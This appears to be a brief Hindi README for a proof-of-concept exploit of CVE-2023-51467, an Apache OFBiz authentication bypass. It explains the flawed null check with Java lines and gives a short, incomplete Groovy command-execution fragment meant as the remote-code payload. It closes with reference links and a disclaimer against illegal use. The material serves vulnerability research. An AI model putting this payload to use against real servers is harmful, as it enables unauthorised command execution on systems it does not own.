
CVE-2023-51467 POC
exp.py को कमांड निष्पादन में बदल दिया गया
सीरियलाइजेशन भेद्यता शोषण
प्रमाणीकरण बायपास परीक्षण
प्रमाणीकरण जांच में गलत तरीके से null का उपयोग करने के कारण, यह विधि प्रभावी नहीं हुई, जिसके परिणामस्वरूप प्रमाणीकरण बायपास हो गया।
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
कुछ विश्लेषणों में सीधा कमांड निष्पादन का उल्लेख है, लेकिन इसके लिए groovy फ़िल्टर को बायपास करना आवश्यक है। या कोई बेहतर निष्पादन प्रवेश बिंदु। rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## संदर्भ
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
कृपया अवैध उद्देश्यों के लिए उपयोग न करें